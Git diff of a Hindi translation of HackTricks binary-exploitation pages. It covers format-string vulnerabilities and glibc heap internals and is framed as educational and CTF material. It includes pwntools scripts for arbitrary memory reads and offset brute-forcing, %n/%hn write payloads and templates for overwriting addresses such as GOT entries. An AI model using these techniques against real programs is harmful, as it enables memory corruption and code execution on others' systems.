Translated ['binary-exploitation/format-strings/README.md', 'binary-expl
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
BIN
.gitbook/assets/image (10) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 216 KiB |
Before Width: | Height: | Size: 216 KiB After Width: | Height: | Size: 30 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 62 KiB |
Before Width: | Height: | Size: 62 KiB After Width: | Height: | Size: 59 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 461 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 50 KiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 58 KiB |
BIN
.gitbook/assets/image (6) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 138 KiB |
Before Width: | Height: | Size: 96 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 160 KiB |
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 126 KiB |
BIN
.gitbook/assets/image (8) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 3.1 KiB |
Before Width: | Height: | Size: 3.1 KiB After Width: | Height: | Size: 86 KiB |
BIN
.gitbook/assets/image (9) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 26 KiB After Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 3.5 KiB After Width: | Height: | Size: 551 KiB |
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 82 KiB |
|
@ -1,8 +1,8 @@
|
|||
# Format Strings
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,13 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
C में **`printf`** एक फ़ंक्शन है जिसका उपयोग कुछ स्ट्रिंग को **प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट**। **अन्य पैरामीटर** जो अपेक्षित हैं वे हैं **कच्चे टेक्स्ट** से **फॉर्मेटर्स** को **बदलने** के लिए **मान**।
|
||||
|
@ -88,12 +87,12 @@ printf("%4$x")
|
|||
ध्यान दें कि हमलावर `printf` **पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** उसका इनपुट `printf` के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है।
|
||||
|
||||
{% hint style="danger" %}
|
||||
एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते को जोड़ने और `printf` को उन्हें एक्सेस करने में सक्षम होगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।
|
||||
एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाना पता जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने के लिए मजबूर कर सकेगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।
|
||||
{% endhint %}
|
||||
|
||||
## **मनमाना पढ़ना**
|
||||
|
||||
फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त कर सके, इसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट करे** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथे स्थान पर शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:
|
||||
फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त कर सके, उसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट कर सके** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथे स्थान पर शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -110,13 +109,13 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|||
ध्यान दें कि आप इनपुट की शुरुआत में 0x8048000 का पता नहीं डाल सकते क्योंकि स्ट्रिंग उस पते के अंत में 0x00 पर कट जाएगी।
|
||||
{% endhint %}
|
||||
|
||||
### ऑफसेट खोजें
|
||||
### ऑफ़सेट खोजें
|
||||
|
||||
अपने इनपुट के लिए ऑफसेट खोजने के लिए, आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं, उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं।
|
||||
अपने इनपुट के लिए ऑफ़सेट खोजने के लिए आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ब्रूट फोर्स printf ऑफसेट</summary>
|
||||
<summary>ब्रूट फोर्स printf ऑफ़सेट</summary>
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
|
@ -152,7 +151,7 @@ p.close()
|
|||
मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है:
|
||||
|
||||
* **बाइनरी** को मेमोरी से **डंप** करना
|
||||
* **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के **विशिष्ट भागों** तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)
|
||||
* **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के विशिष्ट भागों तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)
|
||||
|
||||
## **मनमाना लिखना**
|
||||
|
||||
|
@ -163,7 +162,7 @@ p.close()
|
|||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक HUGE संख्या है जिसे एक बार में लिखना है) लिखने के लिए, **`$hn`** का उपयोग किया जाता है बजाय **`$n`** के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।
|
||||
हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक HUGE संख्या है जिसे एक बार में लिखना है) लिखने के लिए, **इसका उपयोग `$hn`** किया जाता है बजाय `$n` के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।
|
||||
|
||||
इसलिए, यह भेद्यता **किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।**
|
||||
|
||||
|
@ -179,7 +178,7 @@ AAAA.%500\$08x —> Param at offset 500
|
|||
* **HOB** को पते के 2 उच्चतम बाइट्स के लिए कहा जाता है
|
||||
* **LOB** को पते के 2 निम्नतम बाइट्स के लिए कहा जाता है
|
||||
|
||||
फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को।
|
||||
फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** को \[HOB, LOB] लिखने की आवश्यकता होती है और फिर दूसरे को।
|
||||
|
||||
यदि HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
@ -224,7 +223,7 @@ p.interactive()
|
|||
```
|
||||
## Format Strings to BOF
|
||||
|
||||
यह संभव है कि एक format string vulnerability के write actions का दुरुपयोग करके **stack के addresses में लिखें** और एक **buffer overflow** प्रकार की vulnerability का शोषण करें।
|
||||
यह संभव है कि एक फॉर्मेट स्ट्रिंग कमजोरियों के लिखने के कार्यों का दुरुपयोग करके **स्टैक के पते में लिखें** और **बफर ओवरफ्लो** प्रकार की कमजोरी का शोषण करें।
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
|
@ -232,27 +231,25 @@ p.interactive()
|
|||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32 bit, no relro, no canary, nx, no pie, format strings का बुनियादी उपयोग stack से flag को leak करने के लिए (execution flow को बदलने की आवश्यकता नहीं)
|
||||
* 32 बिट, कोई रिलरो, कोई कैनरी, nx, कोई पाई, स्टैक से फ्लैग लीक करने के लिए फॉर्मेट स्ट्रिंग का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bit, relro, no canary, nx, no pie, format string `fflush` के address को win function (ret2win) के साथ overwrite करने के लिए
|
||||
* 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `fflush` के पते को जीतने के कार्य के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 bit, relro, no canary, nx, no pie, format string main में `.fini_array` के अंदर एक address लिखने के लिए (ताकि flow एक बार और लूप हो) और GOT table में `system` के लिए address लिखने के लिए जो `strlen` की ओर इशारा करता है। जब flow main में वापस जाता है, `strlen` उपयोगकर्ता इनपुट के साथ execute होता है और `system` की ओर इशारा करता है, यह पास किए गए commands को execute करेगा।
|
||||
* 32 बिट, रिलरो, कोई कैनरी, nx, कोई पाई, `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए फॉर्मेट स्ट्रिंग (ताकि प्रवाह एक बार और लूप हो) और `system` के पते को GOT तालिका में लिखें जो `strlen` की ओर इशारा करता है। जब प्रवाह मुख्य में वापस जाता है, `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इशारा करता है, यह पास किए गए आदेशों को निष्पादित करेगा।
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **hacking career** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
Support HackTricks
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
## Heap Basics
|
||||
|
||||
हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब वह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शंस को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है।
|
||||
हीप मूल रूप से वह स्थान है जहाँ एक प्रोग्राम डेटा को स्टोर कर सकेगा जब वह डेटा को **`malloc`**, `calloc`... जैसी फ़ंक्शनों को कॉल करके अनुरोध करता है। इसके अलावा, जब इस मेमोरी की अब आवश्यकता नहीं होती है, तो इसे **`free`** फ़ंक्शन को कॉल करके उपलब्ध कराया जाता है।
|
||||
|
||||
जैसा कि दिखाया गया है, यह उस स्थान के ठीक बाद है जहाँ बाइनरी मेमोरी में लोड हो रही है (चेक करें `[heap]` सेक्शन):
|
||||
जैसा कि दिखाया गया है, यह उस स्थान के ठीक बाद है जहाँ बाइनरी मेमोरी में लोड हो रही है (चेक करें `[heap]` अनुभाग):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो इसके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर का स्थान + न्यूनतम बिन आकार ऑफसेट के लिए चंक आरक्षित किया जाएगा। लक्ष्य यह है कि जितनी संभव हो उतनी न्यूनतम मेमोरी आरक्षित की जाए बिना यह जटिल किए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग किए गए/फ्री चंक कहाँ है।
|
||||
जब कुछ डेटा को हीप में स्टोर करने के लिए अनुरोध किया जाता है, तो इसके लिए हीप का कुछ स्थान आवंटित किया जाता है। यह स्थान एक बिन का होगा और केवल अनुरोधित डेटा + बिन हेडर का स्थान + न्यूनतम बिन आकार ऑफसेट के लिए चंक आरक्षित किया जाएगा। लक्ष्य यह है कि जितनी संभव हो उतनी न्यूनतम मेमोरी आरक्षित की जाए बिना यह जटिल किए कि प्रत्येक चंक कहाँ है। इसके लिए, मेटाडेटा चंक जानकारी का उपयोग किया जाता है यह जानने के लिए कि प्रत्येक उपयोग की गई/फ्री चंक कहाँ है।
|
||||
|
||||
स्थान आरक्षित करने के विभिन्न तरीके हैं जो मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है:
|
||||
स्थान आरक्षित करने के विभिन्न तरीके हैं, मुख्य रूप से उपयोग किए गए बिन पर निर्भर करते हैं, लेकिन एक सामान्य कार्यप्रणाली निम्नलिखित है:
|
||||
|
||||
* प्रोग्राम एक निश्चित मात्रा में मेमोरी के लिए अनुरोध करना शुरू करता है।
|
||||
* यदि चंक्स की सूची में कोई उपलब्ध बड़ा चंक है जो अनुरोध को पूरा कर सकता है, तो इसका उपयोग किया जाएगा।
|
||||
|
@ -25,13 +25,13 @@
|
|||
|
||||
## Arenas
|
||||
|
||||
**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकते हैं। प्रारंभ में, यह एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था ताकि यह सुनिश्चित किया जा सके कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बाधा के कारण **प्रदर्शन समस्याएँ** उत्पन्न हुईं।
|
||||
**मल्टीथ्रेडेड** अनुप्रयोगों में, हीप प्रबंधक को **रेस कंडीशंस** को रोकना चाहिए जो क्रैश का कारण बन सकती हैं। प्रारंभ में, यह एक **वैश्विक म्यूटेक्स** का उपयोग करके किया गया था ताकि यह सुनिश्चित किया जा सके कि केवल एक थ्रेड एक समय में हीप तक पहुँच सकता है, लेकिन इससे म्यूटेक्स-प्रेरित बाधा के कारण **प्रदर्शन समस्याएँ** उत्पन्न हुईं।
|
||||
|
||||
इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप ऑपरेशंस कर सकते हैं, जब तक कि वे अलग-अलग एरेनास का उपयोग करते हैं।
|
||||
इसका समाधान करने के लिए, ptmalloc2 हीप आवंटक ने "एरेनास" पेश किए, जहाँ **प्रत्येक एरेना** एक **अलग हीप** के रूप में कार्य करता है जिसमें इसके **अपने** डेटा **संरचनाएँ** और **म्यूटेक्स** होते हैं, जिससे कई थ्रेड बिना एक-दूसरे में हस्तक्षेप किए हीप संचालन कर सकते हैं, जब तक कि वे विभिन्न एरेनास का उपयोग करते हैं।
|
||||
|
||||
डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप ऑपरेशंस को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा हो सकती है।
|
||||
डिफ़ॉल्ट "मुख्य" एरेना एकल-थ्रेडेड अनुप्रयोगों के लिए हीप संचालन को संभालता है। जब **नए थ्रेड** जोड़े जाते हैं, तो हीप प्रबंधक उन्हें **माध्यमिक एरेनास** सौंपता है ताकि प्रतिस्पर्धा को कम किया जा सके। यह पहले प्रत्येक नए थ्रेड को एक अप्रयुक्त एरेना से जोड़ने का प्रयास करता है, यदि आवश्यक हो तो नए बनाता है, 32-बिट सिस्टम के लिए CPU कोर की संख्या के 2 गुना और 64-बिट सिस्टम के लिए 8 गुना तक। एक बार सीमा पहुँच जाने पर, **थ्रेड्स को एरेनास साझा करना होगा**, जिससे संभावित प्रतिस्पर्धा होती है।
|
||||
|
||||
मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड ऑपरेशंस के लिए मेमोरी प्रबंधन में लचीलापन मिलता है।
|
||||
मुख्य एरेना के विपरीत, जो `brk` सिस्टम कॉल का उपयोग करके विस्तारित होता है, माध्यमिक एरेनास "सबहीप्स" बनाते हैं जो `mmap` और `mprotect` का उपयोग करके हीप व्यवहार का अनुकरण करते हैं, जिससे मल्टीथ्रेडेड संचालन के लिए मेमोरी प्रबंधन में लचीलापन मिलता है।
|
||||
|
||||
### Subheaps
|
||||
|
||||
|
@ -50,7 +50,7 @@
|
|||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
यह संरचना हीप की प्रासंगिक जानकारी आवंटित करती है। इसके अलावा, अधिक आवंटनों के बाद हीप मेमोरी निरंतर नहीं हो सकती है, यह संरचना उस जानकारी को भी संग्रहीत करेगी।
|
||||
यह संरचना हीप की प्रासंगिक जानकारी आवंटित करती है। इसके अलावा, अधिक आवंटनों के बाद हीप मेमोरी निरंतर नहीं हो सकती है, यह संरचना उस जानकारी को भी स्टोर करेगी।
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -77,7 +77,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
इस संरचना से कुछ दिलचस्प बातें नोट करने के लिए हैं (नीचे C कोड देखें):
|
||||
|
||||
* `__libc_lock_define (, mutex);` यह सुनिश्चित करने के लिए है कि इस हीप से यह संरचना एक समय में 1 थ्रेड द्वारा एक्सेस की जाए
|
||||
* फ्लैग्स:
|
||||
* फ्लैग:
|
||||
* ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
||||
|
@ -86,7 +86,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` में **छोटे, बड़े और असंरचित **bins** के **पहले और अंतिम चंक्स** के लिए **पॉइंटर्स** होते हैं (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता)
|
||||
* `mchunkptr bins[NBINS * 2 - 2];` में **पहले और अंतिम चंक** के लिए **पॉइंटर्स** होते हैं जो छोटे, बड़े और असंरचित **बिन्स** के होते हैं (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता)
|
||||
* इसलिए, इन बिन्स का **पहला चंक** इस संरचना के लिए एक **पीछे की ओर पॉइंटर** होगा और इन बिन्स का **अंतिम चंक** इस संरचना के लिए एक **आगे की ओर पॉइंटर** होगा। जिसका मतलब है कि यदि आप **मुख्य एरेना में इन पते को लीक कर सकते हैं** तो आपके पास **libc** में संरचना के लिए एक पॉइंटर होगा।
|
||||
* संरचनाएँ `struct malloc_state *next;` और `struct malloc_state *next_free;` एरेनास के लिंक्ड लिस्ट हैं
|
||||
* `top` चंक अंतिम "चंक" है, जो मूल रूप से **सभी हीप शेष स्थान** है। एक बार जब शीर्ष चंक "खाली" हो जाता है, तो हीप पूरी तरह से उपयोग किया जाता है और इसे अधिक स्थान का अनुरोध करने की आवश्यकता होती है।
|
||||
|
@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
|
|||
```
|
||||
### malloc\_chunk
|
||||
|
||||
यह संरचना मेमोरी के एक विशेष टुकड़े का प्रतिनिधित्व करती है। विभिन्न फ़ील्ड्स आवंटित और अव्यवस्थित टुकड़ों के लिए अलग-अलग अर्थ रखती हैं।
|
||||
